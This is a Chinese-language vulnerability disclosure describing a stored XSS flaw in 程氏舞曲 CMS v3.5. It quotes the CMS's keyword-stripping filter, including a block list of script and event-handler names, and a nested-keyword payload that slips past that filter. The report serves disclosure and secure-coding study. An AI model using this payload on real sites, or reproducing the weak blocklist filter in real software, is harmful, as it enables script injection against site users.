程氏舞曲CMS最新版v3.5存储型XSS

### 简要描述： 绕过过滤再来一发。。 ### 详细说明： 问题页面：发表文章 news.php : ``` $news['cs_content']=$this->CsdjSkins->uhtml($this->input->post('cs_content')); //内容 ``` 过滤代码： ``` function uhtml($str) { $farr = array( "/\\s+/", //过滤多余的空白 "/<(\\/?)(script|i?frame|style|html|body|title|link|meta|\\?|\\%)([^>]*?)>/isU", //过滤 <script 等可能引入恶意内容或恶意改变显示布局的代码,如果不需要插入flash等,还可以加入<object的过滤 "/(<[^>]*)on[a-zA-Z]+\\s*=([^>]*>)/isU", //过滤javascrīpt的on事件 ); $tarr = array( " ", " ", "\1\2", ); $str = preg_replace( $farr,$tarr,$str); return remove_xss($str); } //xss过滤函数 function remove_xss($string) { $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string); $parm1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); $parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload', 'onprogress', 'alert'); $parm = array_merge($parm1, $parm2); for ($i = 0; $i < sizeof($parm); $i++) { $pattern = '/'; for ($j = 0; $j < strlen($parm[$i]); $j++) { if ($j > 0) { $pattern .= '('; $pattern .= '(&#[x|X]0([9][a][b]);?)?'; $pattern .= '|(&#0([9][10][13]);?)?'; $pattern .= ')?'; } $pattern .= $parm[$i][$j]; } $pattern .= '/i'; $string = preg_replace($pattern, '', $string); } return $string; } ``` 可以看出，只是将字符串中script、alert等关键字去掉。 绕过字符串： ``` <scrscriptipt>aleralertt(/UncleJim/)</scriscriptpt>UncleJim ``` 在script中再嵌一个script即可绕过~ ### 漏洞证明： 客户端的编辑器会编码一次，所以通过抓包修改即可： [<img src="https://images.seebug.org/upload/201408/0621541256588febf5d6c5722292162a3f81bbcb.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/0621541256588febf5d6c5722292162a3f81bbcb.jpg) [<img src="https://images.seebug.org/upload/201408/062155121dfdd323e8783ca50ef3340373d6db7c.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/062155121dfdd323e8783ca50ef3340373d6db7c.jpg)